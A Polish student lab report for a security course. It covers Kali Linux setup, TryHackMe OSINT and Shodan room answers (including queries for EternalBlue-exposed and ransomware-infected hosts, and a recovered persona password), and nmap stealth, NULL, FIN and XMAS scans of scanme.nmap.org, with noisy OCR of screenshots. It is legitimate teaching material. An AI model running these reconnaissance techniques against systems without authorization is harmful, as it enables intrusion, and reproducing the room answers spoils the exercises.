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Lab 1 - Konfiguracja srodowiska

1. Instalacja VirtualBox

W tej czesci zamiast VirtualBoxa postuzytem sie programem VMWare Fusion ze
wzgledu na lepszg funkcjonalnosc i stabilnos¢ na komputerach opartych o ARM64.

o0 +v

= VIRTUAL MACHINES

= pl + 15Mar,20:02 &
B Kali ARM

| KALI |

% Kali ARM
Linux 6.1.0-kali5-arm64 Kali GNU/Linux Rolling...

Rys. 1. Zainstalowany i uruchomiony program VMWare Fusion

2. Pobranie i zainstalowanie Kali Linuxa

System zostat pobrany ze strony http://kali.org. Nastepnie zainstalowany przy
pomocy VMWare (Rys.1).


http://kali.org

3. Konfiguracja sieci i pierwsze uruchomienie

Kolejnym krokiem byto zmienienie trybu adaptera maszyny wirtualnej na Briged
Networking.

O Show All Kali ARM: Network Adapter Add Device...

¥ Connect Network Adapter

This network adapter is configured to use:

Internet Sharing The virtual machine appears as an additional

computer on the same physical network connection

® Share with my Mac
as your Mac.

Bridged Networking
® Autodetect

® Wi-Fi

Custom

® Private to my Mac

Rys. 2. Ustawienia karty sieciowej dla maszyny wirtualnej z Kali Linux.

Kolejnym krokiem byto uruchomienie maszyny wirtualnej i sprawdzenie jej adresu ip
oraz sprawdzenie komunikacji miedzy hostem a guestem. W tym celu wykonano
polecenie ping na adres pokazany w konsoli Kali Linux po wykonaniu polecenia
“ifconfig”.

= cichowlasp@cichowlasp: ~

File Actions Edit View Help

— Ve[l
ethd: flags=4163<UP,BROADCAST,RUNN @ @ @ Eehowlasp @Plotrs-Mac oo
inet 192.168.0.57 netmask s "< ping 192.168.0.57
inet6 2a0@2:a317:e436:4e80: pING 192.168.0.57 (192/168.0.57): 56 data bytes
x0<global> 64 bytes from 192.168.0.57: icmp_seq=0 tt1=64 time=0.878
inetb 2a02:a317:e436:4e80: 64 bytes from 192.168.0.57: icmp_seq=1 ttl=64 time=0.874
0x0<globa_ﬂ.> £ . 56FF:fo3f: 64 bytes from 192.168.0.57: icmp_seq=2 ttl=64 time=0.863
LIEED EEY R 250 T iy - 64 bytes from 192.168.0.57: icmp_seg=3 ttl=64 time=0.979

ether 00:50:56:3f:f3:cf t . .
RX packets 172 bytes 592€ 64 bytes from 192.168.0.57: icmp_seq=4 ttl=64 time=0.975

RX errors @ dropped 1 o\ 0 .

TX packets 236 bytes 29957 192.168.0.57 ping statistics ---

TX errors 0 dropped 0 ove 5 packets transmitted, 5 packets received, 0.0% packet loss
device interrupt 48 memor round-tripimin/avg/max/stddev = 0.863/0.914/0.979/0.052 ms

> o~

Rys. 3. Wykonanie polecenia ping z poziomu hosta na guesta oraz wynik polecenia “ifconfig”
wykonanego na maszynie kali linux.



4. Zatozenie konta na platformie TryHackMe

Konto zostato zatozone za pomocg uczelnianego konta google. Nastepnie w celu
uzyskania dostepu do strony z poziomu maszyny Kali Linux pobrano plik .ovpn.

Downloads - Thunar

File Edit View Go Bookmarks Help
& M A <« A cichowlasp Downloads

Places

. Computer

| cichowlasp
Desktop

® Recent

- Wacteahaclat

253013.0vpn

1file: 8.1KiB (8,342 bytes) | Free space: 5.5GiB

Rys. 4. Pobrany plik .ovpn ze strony TryHackMe

Nastepnie przekopiowano plik ovpn do katalogu domowego uzytkownika za pomocg
polecenia “cp 253013.ovpn ~/.”. Aby uzyskac¢ dostep do platformy TryHackMe skorzystano z
polecenia “sudo openvpn 253013.ovpn”. Sprawdzenie czy dostep zostat uzyskany
wykonano za pomocg polecenia “ifconfig” oraz na platformie TryHackMe w zaktadce access
(Rys. 5).

’Q‘ =P ‘\Ev“—E 7 O 2101802234) A @ 2254 | &
r

File Actions Edit View Help

= C @ O B 2023-03-15 22: 31 ROUTE_GATEWAY 192.168.0.1/255.255.255.0 IFACE=eth® HWADD

TryHackMe | Network A

Kali Linux i i i i 3 TUN/TAP device tun@ opened
.~ : net_iface_mtu_set: mtu 1500 for tun@
net_iface_up: set tun@ up
net_addr_v4_add: 10.18.0.223/17 dev tun0
2023-03-15 22: net_route_v4_add: 10.10.0.0/16 via 10.18.0.1 dev [NULL]

—~ X table @ metric 1000 . ) .
OpenVPN Access [~ Machines Networks 2023-03-15 22:54:31 Data Channel: using negotiated cipher 'AES-256-CBC'
) 2023-03-15 22: 31 Outgoing Data Channel: Cipher 'AES-256-CBC' initialized
Details with 256 bit key
2023-03-15 22: Outgoing Data Channel: Using 512 bit message hash 'SHAS51
VPN Server 2' for HMAC authentication
VPN 2023-03-15 22:54:31 Incoming Data Channel: Cipher 'AES-256-CBC' initialized
EU- EU-Regular-3 ¢ with 256 bit key
Server 2023-03-15 22:54:31 Incoming Data Channel: Using 512 bit message hash 'SHAS51
Name Regular-3 2' for HMAC authentication
If you're switching for the first 2023-03-15 22:54:31 Initialization Sequence Completed
time, you will need to
Server v redownload your configuration L
Status file. For best performance, )
please use the server that's File Actions Edit View Help
hically cle t .
Connected geographically closest to you loop txqueuelen 1000 (Local Loopback)

RX packets 4 bytes 240 (240.0 B)
RX errors @0 dropped @ overruns 0 frame 0
Internal TX packets 4 bytes 240 (240.0 B)
Virtual IP 10.18.0.223 TX errors @ dropped @ overruns @ carrier @ collisions @

Address tun@: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.18.0.223 netmask 255.255.128.0 destination 10.18.0.223

inet6 fe80::f579:f7e3:32b9:eb9f prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 5
00 (UNSPEC)
) RX packets 0 bytes 0 (0.0 B)
To hack machines on TryHackMe you need to RX errors @ dropped @ overruns 0 frame @

TX packets 2 bytes 96 (96.0 B)

connect to our network TX errors @ dropped @ overruns @ carrier @ collisions @

You can connect through a web-based AttackBox, or by

downloading and configuring OpenVPN.

Rys. 5. Potwierdzenie uzyskania dostepu do serwisu TryHackMe.



Lab 2

Lab2.1 Kali linux

1.  Zadanie 1
1.1.  Znajdz wszystkie pliki, ktorych nazwa konczy sie na ,,.xml”
Polecenie: “find / -type f -name “*.xml™

] cichowlasp@cichowlasp: ~

File Actions Edit View Help

Ef )-[~]

/ -type f -name "*.xml"
find: ‘/boot/efi’: Permission denied
find: ‘/run/udisks2’: Permission denied
find: ‘/run/lightdm’: Permission denied
find: ‘/run/user/1000/systemd/inaccessible/dir’: j?rmission denied
find: ‘/run/sudo’: Permission denied
find: ‘/run/openvpn-server’': Permission denied
find: ‘/run/openvpn-client’: Permission denied
find: ‘/run/cryptsetup’: Permission denied
find: ‘/run/credentials/systemd-tmpfiles-setup.service’: Permission denied
find: ‘/run/credentials/systemd-tmpfiles-setup-dev.service': Permission denie
d
find: ‘/run/credentials/systemd-sysctl.service': Permission denied
find: ‘/run/credentials/systemd-sysusers.service': Permission denied
find: ‘/run/systemd/ask-password-block’: Permission denied
find: ‘/run/systemd/propagate’: Permission denied
find: ‘/run/systemd/unit-root’: Permission denied
find: ‘/run/systemd/inaccessible/dir’: Permission denied
find: ‘/run/initramfs’: Permission denied
/home/cichowlasp/.java/.userPrefs/burp/prefs.xml
/home/cichowlasp/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-panel.xml
/home/cichowlasp/.config/xfce4/xfconf/xfce-perchannel-xml/displays.xml
/home/cichowlasp/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-desktop.xml
/home/cichowlasp/.config/xfce4/xfconf/xfce-perchannel-xml/xfwmé.xml
/home/cichowlasp/.config/xfce4/xfconf/xfce-perchannel-xml/xsettings.xml

1.2. Znajdz wszystkie pliki w katalogu /home, ktérych zawierajg cigg znakow
Luser.txt” (wielkos¢ liter ma znaczenie)
Polecenie: “find /home -type f -iname user.txt”

)-[~]
E /home -type f -iname user.txt




1.3.  Znajdz wszystkie katalogi, ktérych nazwa zawiera stowo ,exploits
Polecenie: “find / -type d -name “*exploits*”

( I—_~]
[:7 sudo / -type d -name "xexploits«"
[sudo] password for cichowlasp:
find: ‘/run/user/1000/doc’: Permission denied
find: ‘/run/user/1000/gvfs’': Permission denied

/usr/share/exploitdb/exploits
/usr/share/metasploit-framework/modules/exploits
/usr/share/metasploit-framework/data/exploits
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/rex-exploitatio
n-0.1.37/data/exploits

1.4.  Znajdz wszystkie pliki nalezgce do uzytkownika ,kittycat”
Polecenie: “find / -type f -user kittycat”

Polecenie nie powiodto sie poniewaz na maszynie nie istnieje uzytkownik o
takiej nazwie.

1.5.  Znajdz wszystkie pliki o rozmi
—( )-[~]
L-$ sudo / -type f -user kittycat
find: ‘kittycat’ 1is not the name of a known user

arze doktadnie 150 bajtow
Polecenie: “find / -type f -size 150c”

( .
[:_ sudo type size 150c

find: ‘/run/user/1000/doc’: Permission denied

find: ‘/run/user/1000/gvfs’: Permission denied

find: ‘/proc/45543/task/45543/fdinfo/5": No such file or directory
find: ‘/proc/45543/fdinfo/6’: No such file or directory
/etc/default/keyboard
/usr/lib/python3.11/xml/etree/__pycache__/__init__.cpython-311.pyc
/usr/1ib/ruby/3.0.0/uri/version.rb
/usr/lib/ruby/gems/3.0.0/gems/typeprof-0.15.2/smoke/keyword4.rb
/usr/1lib/ruby/gems/3.1.0/gems/rbs-2.1.0/stdlib/uri/@/mailto.rbs
/usr/1lib/ruby/3.1.0/uri/version.rb
/usr/lib/python3/dist-packages/tornado/test/options_test_types_str.cfg

1.6. Znajdz wszystkie pliki w katalogu /home o rozmiarze mniejszym niz 2 KiB i
rozszerzeniu ".txt"
Polecenie: “find /home -type f -size -2k -name “*.txt”

( )-[~]
E sudo /home -type f -size -2k -name "*.txt"

/home/cichowlasp/.mozilla/firefox/1969gkmz.default-esr/pkcsll. txt




1.7.

1.8.

1.9.

Znajdz wszystkie pliki, ktére mogg by¢ odczytywane i zapisywane przez
wiasciciela oraz odczytywane przez wszystkich innych (uzyj formatu
6semkowego)

Polecenie: “find / -type f -perm 644"

( )-[~]
[:_ sudo f / -type f -perm 644
/boot/config-6.0.0-kali3-arm64
/boot/initrd.img-6.1.0-kali5-armé64

/boot/grub/unicode.pf2
/boot/grub/armé4-efi/echo.mod
/boot/grub/arme4-efi/test.mod
/boot/grub/armé4-efi/1zopio.mod

Znajdz wszystkie pliki, ktére moze odczytac tylko kazdy (uzyj formatu
6semkowego)
Polecenie: “find / -type f -perm /444"

t )-[~]

/boot/efi/EFI/kali/grubaabs4.efi
/boot/config-6.0.8-kali3-arm64
/boot/initrd.img-5.1.0-kali5-arm64

Znajdz wszystkie pliki z uprawnieniami do zapisu dla grupy ,inne”, niezaleznie
od innych uprawnien, z rozszerzeniem ,.sh” (uzyj formatu symbolicznego)
Polecenie: “find / -type f -perm -o=w -name “*.sh™

( )-[~]
lj I .Sh"

sudo / -type f -perm -o=w -name

find: ‘/run/user/1000/doc’: Permission denied
find: ‘/run/user/1000/gvfs’: Permission deniedI




1.10.

Znajdz wszystkie pliki w katalogu /usr/bin, ktérych wtascicielem jest root i
ktére majg co najmniej uprawnienia SUID (uzyj formatu symbolicznego)
Polecenie: *find /usr/bin -type f -user root -perm -u=s”

/usr/bin f
/Jusr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/fusermount3

Jusr/bin/kismet_cap_nrf_52840
/usr/bin/kismet_cap_nrf_51822
/usr/bin/passwd

/usr/bin/ntfs-3g

/usr/bin/chsh
/usr/bin/kismet_cap_ubertooth_one

1.11.  Znajdz wszystkie pliki, do ktérych nie uzyskano dostepu w ciggu ostatnich 10
dni, z rozszerzeniem ,.png”
Polecenie: “find / -type f -atime
( )-[~]
L sudo / -type f -atime +10 -name “*.png”
find: ‘/run/user/1000/doc’': Permission denied
find: ‘/run/user/1000/gvfs’: Permission denied
+10 -name “*.png””
1.12. Znajdz wszystkie pliki w katalogu /usr/bin (rekurencyjnie), ktére zostaty
zmodyfikowane w ciggu ostatnich 2 godzin
Polecenie: “find /usr/bin -type f -mmin -120”
)-[~]
/usr/bin -type f -mmin -120
Lab 2.2
1. Shodan
1.1.  Nazwij kluczowe pojecie dotyczgce tego, do czego stuzy ,Crawler”,
inaczej robot indeksujacy. - indeksowanie
1.2. Jak nazywa sie technika wykorzystywana przez ,Wyszukiwarki” do
pobierania tych informacji o witrynach internetowych? “web crawling”
lub “spidering”
1.3.  Jaki jest przyktad rodzaju tresci, ktére mozna pobrac¢ ze strony
internetowej? tekst, grafika, audio, wideo
1.4. Gdzie znajdowatby sie plik ,robots.txt” w domenie ,ablog.com”?
ablog.com/robots.txt - w katologu gtéwnym witryny
1.5. Gdyby witryna miata mie¢ mape witryny, gdzie by sie ona znajdowata?

Powinien znajdowac sie rowniez w katalogu gtobwnym witryny na tym
samym poziomie co plik robots.txt - mapa witryny zazwyczaj jest
plikiem xml



1.6. W jaki sposéb pozwolilibysmy tylko ,Bingbotowi” na indeksowanie
witryny? Nalezy w pliku robots umiesci¢ User-agent: <nazwa bota>
1.7.  Jak moglibysmy uniemozliwi¢ robotowi indeksujgcemu indeksowanie
katalogu ,/dont-index-me/”? Nalezy w pliku robots umiesci¢ taki kod:
m User-agent: *
m Disallow: /dont-index-me/
1.8.  Jakie jest rozszerzenie pliku konfiguracyjnego systemu Unix/Linux,
ktére mozemy chcie¢ ukry¢ przed ,,Crawlerami”? .conf
1.9. Jaka jest typowa struktura plikow ,Sitemap”?
m urlset
m url
m loc
m lastmod
m changefreq
m priority
m sitemap
1.10. Do jakiego przyktadu z zycia mozna porownac ,Sitemap”? Spis tresci w
ksigzce
1.11.  Nazwij stowo kluczowe dla sciezki obranej do tresci na stronie
internetowej - URL
1.12.  Jaki bytby format uzywany do wysytania zapytan do witryny bbc.co.uk
0 zabezpieczenia przeciwpowodziowe?
https://www.bbc.co.uk/search?g=zabezpieczenia+przeciwpowodziowe
1.13. Jakiego terminu uzyjesz do wyszukiwania wedtug typu pliku?
filetype:<rozszerzenie pliku>
1.14. Jakim terminem mozemy szukac stron logowania? “login page” lub
“login portal”
Shodan.io
2.1. Jak znalez¢ exploity Eternal Blue na Shodan.io? product:"smb" "eternal
blue"
2.2. Jaki jest najbardziej popularny system operacyjny dla serweréw
MYSQL w ASN Google? Linux - Ubuntu
2.3.  Jaki jest drugi najbardziej popularny kraj dla serwerow MYSQL w ASN
Google? USA
2.4. Kitory protokdt w ASN Google jest bardziej popularny dla serwerow
nginx, Hypertext Transfer Protocol (HTTP) czy Hypertext Transfer
Protocol z SSL\TLS (HTTPS)? HTTP
2.5. Jakie miasto jest najbardziej popularne wedtug ASN firmy Google?
Kansas City
2.6. Jaki jest najpopularniejszy system operacyjny wedtug ASN firmy
Google w Los Angeles wedtug Shodana? Debian
2.7. Czy ASN Google ma jakie$ kamery internetowe? nie.
2.8. Jaki adres URL prowadzi do Shodan Monitor? monitor.shodan.io
2.9. Jakie zapytanie pozwala nam znalez¢ komputery zainfekowane przez

Ransomware? has_screenshot:true encrypted attention

OhSINT



3.1.

Co przedstawia awatar uzytkownika? Kota

3.2. W jakim mieScie jest ta osoba? Londyn
3.3. Jaki jest identyfikator SSID WAP, z ktérym sie potgczyta? UnileverWiFi
3.4. Jaki jest adres e-mail tej osoby? OWoodflint@gmail.com
3.5. Najakiej stronie znalaztes adres e-mail tej osoby? Github
3.6. Gdzie ta osoba wyjechata na wakacje? New York
3.7. Jakie jest hasto tej osoby? pennYDrOpper.!
WebOSINT
4.1. Jaka jest nazwa firmy, w ktdrej zostata zarejestrowana domena?
NAMECHEAP INC
4.2. Jaki numer telefonu jest podany dla firmy rejestracyjnej? (nie dotgczaj
kodu kraju ani znakoéw specjalnych/spaciji) 6613102107
4.3. Jaki jest pierwszy serwer nazw wymieniony dla witryny?
NS1.BRAINYDNS.COM
4.4. Co jest wymienione dla nazwy rejestrujgcego? Redacted for Privacy
4.5. Jaki kraj znajduje sie na liscie rejestrujgcego? Panama
4.6. Jakie jest imie autora bloga? Steve
4.7. Zjakiego miasta i kraju pisat autor? Gwangju, South Korea
4.8. [Badania] Jaka jest nazwana swigtynig na terenie Parku Narodowego,
ktérg czesto odwiedzasz? Jeungsimsa Temple
4.9. Jaki byt adres IP RepublicOfKoffee.com w pazdzierniku 20167
173.248.188.152
4.10. W oparciu o inne domeny hostowane pod tym samym adresem |P,
jakiego rodzaju ustugi hostingowej mozemy bezpiecznie zatozyc, ze
nasze docelowe zastosowania? shared
4.11. lle razy zmieniat sie adres IP w historii domeny? 4
4.12.  Jaki jest drugi serwer nazw wymieniony dla domeny? NS2.HEAT.NET
4.13. Na jakim adresie IP byta wymieniona domena w grudniu 2011 r.?
72.52.192.240
4.14. W oparciu o domeny, ktére majg ten sam adres IP, jakiego rodzaju
ustugi hostingowej uzywa wtasciciel domeny? shared
4.15. Kiedy strona zostata po raz pierwszy przechwycona przez archiwum
internetowe? (format MM/DD/RR) 06/01/97
4.16. Jakie jest pierwsze zdanie pierwszego akapitu z ostatniego schwytania

w 2001 roku? After years of great online gaming, it’s time to say
good-bye.



4.17. Korzystajgc ze swoich umiejetnosci wyszukiwania, jak nazwata sie
firma odpowiedzialna za oryginalng wersje strony? SegaSoft

4.18. Zacytuj pierwszy nagtéwek witryny w ostatnim zapisie z 2010 roku?
Heat.net — Heating and Cooling

4.19. lle linkbw wewnetrznych znajduje sie w tekscie artykutu? 5

4.20. lle linkbw zewnetrznych znajduje sie w tekscie artykutu? 1

4.21.  Witryna w jedynym zewnetrznym linku artykutu (to nie jest reklama)
purchase.org

4.22. Sprobuj znalez¢ kod Google Analytics powigzany z witryng -
UA-251372-24

4.23. Czy kod Google Analytics jest uzywany w innej witrynie? nie

4.24. Czy link do tej witryny zawiera jakie$ oczywiste kody partnerskie? nie

4.25. Uzyj narzedzia z Zadania 4, aby potwierdzi¢ powigzanie miedzy
dwiema stronami. Liquid Web, L.L.C

Lab 3 - Skanowanie portow i podatnosci

Zadanie 1

B emPs - |» 0. O 8 0us|e

@] cichowlasp@cichowlasp: ~

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help File Actions Edit View Help

AOA® R BEE a « »n <« >EE oo o @ .

= scanme.nmap.org
|p.addr==45,33.32.156 Starting Nmap 7.93 ( ht%ps://nmap.org ) at 2023-03
-29 22:04 CEST

Time Source Destination Protocol Length Info
9 Nmap scan report for scanme.nmap.org (45.33.32.156

16 6.060271990  192.168.0.57 45.33.32.156 TCP 74 44952 )
17 6.060302780  192.168.0.57 45.33.32.156 74 40540 Host is up (@-22s latency)
18 6.260544300  45.33.32.156 192.168.0.57 74 80 - 449 Other addresses for scanme.nmap.org (not scanned):
19 6.260635630  192.168.0.57 45.33.32.156 66 44952 2600:3c01 :: f03c:91FF: fel8:bb2f
20 6.260810582 192.168.0.57 45.33.32.156 66 44952 . | Not shown: 995 closed tcp ports (conn-refused)
22 6.286909727  45.33.32.156 192.168.0.57 60 443 - PORT STATE  SERVICE

-298938370 74 39426 ;;;;‘D e

.299072075 74 53882 So/tgg O;en”e ﬁ';‘[g

299254195 74 34682 9929/tcp open e

.299347025 74 36480 31337/tcp open Elite

.299429190

74 60098
.299504521 74 60386 Nmap done: 1 IP address (1 host up) scanned in 18.
.299580019

74 40542 33 seconds
.299660892

74 40790
.299737639

coooooo00

74 45850 -
scanme.nmap.org

rti 3 .7 - e
» Frame 16: 74 bytes on wire (592 bits), 74 by 0000 56 3f f3 %;;I;TguNEZET%gJ ( hetps://nnap.org ) at 2023 @
» Ethernet II, Src: VMwar_‘e,3f:f3:cf (00:50:56: 9f 6a co Nmap scan report for scanme.nmap.org ((EFEEREFIRER
» Internet Protocol Version 4, Src: 192.168.0. 9b 06 00 )
M Transmission Control Protocol, Src Port: 444 05 b4 04 Host is up (0.22s latency).
03 07 Other addresses for scanme.nmap.org (not scanned):
2600:3c01:: f03c:91ff:fel8:bb2f

Nmap done: 1 IP address (1 host up) scanned in 11.
47 seconds

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03
-29 22:05 CEST
Nmap scan report for scanme.nmap.org (45.33.32.156

Host is up (0.21s latency).

Other addresses for scanme.nmap.org (not scanned):
2600:3c01:: f03c:91ff:fel8:bb2f

Not shown: 995 closed tcp ports (conn-refused)

® E Ethernet (eth), 14 bytes Packets: 4276 - Displayed: 4109 (96.1%) - Dropped: 0 (0.0%) : Profile: Default

Rys. 6. Uruchomiony Wireshark oraz wykonane skany za pomocg nmapa.



Skanowanie z flagg -sn oznacza, ze pomijane jest skanowanie portow. Aktywnos¢ hosta
oceniana jest na podstawie tego, czy porty 80 oraz 443 sg otwarte. Sg to odpowiednio porty
uzywane przez protokét http oraz HTTPS i sg najczesciej uzywanymi w skanowanych

serwerach.

Skanowanie z flagg -Pn oznacza, ze program nmap uznaje skanowanego hosta jako
aktywnego i bez sprawdzania aktywnosci hosta, wykonuje skanowanie portow.

Zadanie 2

Rys. 7. Uruchomiony Wireshark oraz wykonane skan na port 80 z flagg -sS.

Gdy host atakowany odpowiada flagami SYN, ACK, oznacza to, ze TCP Handshake moze

B EmPorl T |

*ethO

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® s @BEE Q « > 0 <« > H

5.33.32.156

Source
231 90.764675019 192.168.0.57
232 91.766872622 192.168.0.57

Destination
45.33.32.156
45.33.32.156

Protocol Length Info
58 45673 ~ 80 [S
58 45675 — 80 [S

Do soon|e

File Actions Edit View Help

ess "s": No address associated with hostname
QUITTING!

scanme.nmap.org
Failed to resolve/decode supposed IPv4 source addr
ess "s": No address associated with hostname
QUITTING!

scanme.nmap.org
Failed to resolve/decode supposed IPv4 source addr
ess "s": No address associated with hostname
QUITTING!

scanme.nmap.org
You requested a scan type which requires root priv
ileges.
QUITTING!

scanme.nmap.org
[sudo] password for cichowlasp:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03
-30 00:10 CEST
Nmap scan report for scanme.nmap.org (ENEEFEFIFER
)
Host is up.
Other addresses for scanme.nmap.org (not scanned):
2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp filtered http

Nmap done: 1 IP address (1 host up) scanned in 13.
35 seconds
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> " . . = scanme.nmap.org
ﬂ D ﬂ @ Y . m E Q € > 0 <« > ! E oeao in You requested a scan type whic’h requires root priv

ileges.
QUITTING!
Destination Protocol Length Info
58 13.287580965 45.33.32.156 TCP 74 43094 - 80 PG
59 13.558133858 192.168.0.57 74 80 43094 [sudo] password for cichowlasp:
60 13.558300947 45.33.32.156 66 43094 - 80 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03
61 13.559599990 192.168.0.57 45.33.32.156 66 43094 - 80 < -30 00:10 CEST
Nmap scan report for scanme.nmap.org (45.33.32.156

Host is up.
Other addresses for scanme.nmap.org (not scanned):
2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp filtered http

Nmap done: 1 IP address (1 host up) scanned in 13.
35 seconds

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03
-30 00:13 CEST
Nmap scan report for scanme.nmap.org (45.33.32.156

Host is up (0.27s latency).
Other addresses for scanme.nmap.org (not scanned):
2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.
) . 37 seconds
Frame 58: 74 bytes on wire (592 bits), 74 t ac f8 cc d5 15 57 00 50 56 3f f3 cf ©:

Ethernet II, Src: VMware_3f:f3:cf (00:50:5€ 00 3c 70 7d 40 00 40 06 bb a0 co a8 o
Internet Protocol Version 4, Src: 192.168.C 20 9c a8 56 00 50 Ga d5 ab la 00 00 O
Transmission Control Protocol, Src Port: 4 fa f0 e cd 00 00 02 04 05 b4 04 02 O

by¢ zrealizowany, czyli port jest otwarty.

Rys. 8. Uruchomiony Wireshark oraz wykonane skan na port 80 z flagg -sT.

Host skanujacy przeprowadza petny TCP Handshake, po czym wysyta flagi RST oraz ACK,
aby przerwac ustanowione potgczenie. TCP Handshake przeprowadzany jest, gdy port jest
otwarty. W przeciwnym wypadku, host atakowany odpowiedziatby flagg RST.



Zadanie 3

o) cichowlasp@cichowlasp: ~

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help File Actions Edit View Help

scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at
-30 00:18 CEST

BDestnation Brotocol| Lengthinfo Nmap scan report for scanme.nmap.org (45.3

45.33.32.156 TCP 54 62997 . 80 [<None>] Sei )
TCP 54 62999 . 80 [<None>] Se HoschisRury

Other addresses for scanme.nmap.org (not s
2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp open|filtered http

Nmap done: 1 IP address (1 host up) scanne
29 seconds

Frame 46: 54 bytes on wire (432 bits), 54 bytes ac f8 cc d5 15 57 00 50 56 3f f3 cf 08 00
Ethernet II, Src: VMware_3f:f3:cf (00:50:56:3f 00 28 53 30 00 00 2c 06 2d 02 co a8 00 39
Internet Protocol Version 4, Src: 192.168.0.57, 20 9c f6 15 00 50 1f 72 1a 78 00 00 00 00
Transmission Control Protocol, Src Port: 62997, 04 00 6c f6 00 00

Rys. 9. Uruchomiony Wireshark oraz wykonane skan na port 80 z flagg -sN - TCP NULL.
Jak mozna zaobserwowac wysytany jest pakiet z nagtéwkiem TCP ustawionym na 0. Polega
on na stwierdzeniu czy port jest zamkniety wtedy odpowiedzig bytaby obstuzona przez RST,
jesli takiej odpowiedzi nie otrzymamy oznacza to, ze port jest otwarty/filtrowany.
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scanme.nmap.org
Starting Nmap 7.93 ( https://nmap.org ) at
-30 00:18 CEST

Source Destination Protocol Length Info
Nmap scan report for scanme.nmap.org (45.3

22 6.564842250 192.168.0.57 45.33.32.156 TCP 54 33391 — 80 [FIN] Seq= )
29 7.567317062 19 45.33.32.156 TCP 54 33393 . 80 [FIN] Seq=|YISSUEPENTS
Other addresses for scanme.nmap.org (not s
2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp open|filtered http

Nmap done: 1 IP address (1 host up) scanne
29 seconds

scanme.nmap.org

Starting Nmap 7.93 ( https://nmap.org ) at
2023-03-30 00:27 CEST

Nmap scan report for scanme.nmap.org (45.3
3.32.156)

Host is up.

Other addresses for scanme.nmap.org (not s
canned): 2600:3c01:: f03c:91ff:fel8:bb2f

PORT STATE SERVICE
80/tcp open|filtered http

Nmap done: 1 IP address (1 host up) scanne
d in 13.28 seconds

Frame 22: 54 bytes on wire (432 bits), 54 byteq © ac f8 cc d5 15 57 00 50 56 3f f3 cf 08 00
Ethernet II, Src: VMware_3f:f3:cf (00:50:56:3f 00 28 56 15 00 00 25 06 31 1d cO a8 00 39
Internet Protocol Version 4, Src: 192.168.0.57, 20 9c 82 6f 00 50 93 bl 87 97 00 00 00 00
Transmission Control Protocol, Src Port: 33391 04 00 ff 3c 00 00

Rys. 10. Uruchomiony Wireshark oraz wykonane skan na port 80 z flagg -sT - TCP FIN.



To skanowanie rézni sie tylko tym, ze zamiast wysytania pustego nagtéwka TCP jest on
wysytany z pakietem FIN.
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scanme.nmap.org
P—— Starting Nmap 7.93 ( https://nmap.org ) at
Destination Protocol Length Info S _ _ 2023-03-30 00:30 CEST
45.33.32.156 TCP 54 35450 — 80 [FIN, PSH, URG] Seq=1 Wn—1024 Urg=0 Len=0 Nmap scan report for scanme.nmap.org (45.3
45.33.32.156 54 35452 - 80 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0 3.32.156)
Host is up.
Other addresses for scanme.nmap.org (not s
canned): 2600:3c01:: f03c:91ff:fe18:bb2f

PORT STATE SERVICE
80/tcp open|filtered http

Nmap done: 1 IP address (1 host up) scanne
d in 13.17 seconds

Frame 82: 54 bytes on wire (432 bits), 54 bytes ac f8 cc d5 15 57 00 50 56 3f f3 cf 08 00
Ethernet II, Src: VMware_3f:f3:cf (00:50:56:3f 00 28 45 25 00 00 2a 06 3d 0d cO a8 00 39
Internet Protocol Version 4, Src: 192.168.0.57, 20 9c 8a 7a 00 50 63 be fc 0d 00 00 00 00
Transmission Control Protocol, Src Port: 35450 04 00 b2 94 00 00

Rys. 11. Uruchomiony Wireshark oraz wykonane skan na port 80 z flagg -sX - XMAS SCAN.

Polega na tej samej zasadzie co poprzednie tylko w nagtéwku TCP wysyta pakiety FIN, PSH
i URG



Zadanie 4

HemPo- T |»0e
-] cichowlasp@cichowlasp: ~

File Actions Edit View Help
scanme.nmap.org

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 00:40 CEST
Initiating Parallel DNS resolution of 1 host. at 00:40
Completed Parallel DNS resolution of 1 host. at 00:41,
Initiating SYN Stealth Scan at 00:41
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 22/tcp on 45.33.32.156
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed SYN Stealth Scan at 00:41, 9.59s elapsed (1000 total ports)
Initiating OS detection (try #1) against scanme.nmap.org (45.33.32.156)
Retrying 0S detection (try #2) against scanme.nmap.org (45.33.32.156)
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.20s latency).

Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fel8
:bb2f

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE
22/tcp open ssh

25/tcp filtered smtp
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite E
Aggressive 0S guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10%88%), Linux
2.6.39 (88%), Linux 3.10 - 3.12 (88%), Linux 3.5 (88%), Linux 4.4 (88%), Sy
nology DiskStation Manager 5.1 (88%), WatchGuard Fireware 11.8 (88%), Linux
2.6.35 (87%), Linux 4.9 (87%)

No exact 0S matches for host (test conditions non-ideal).

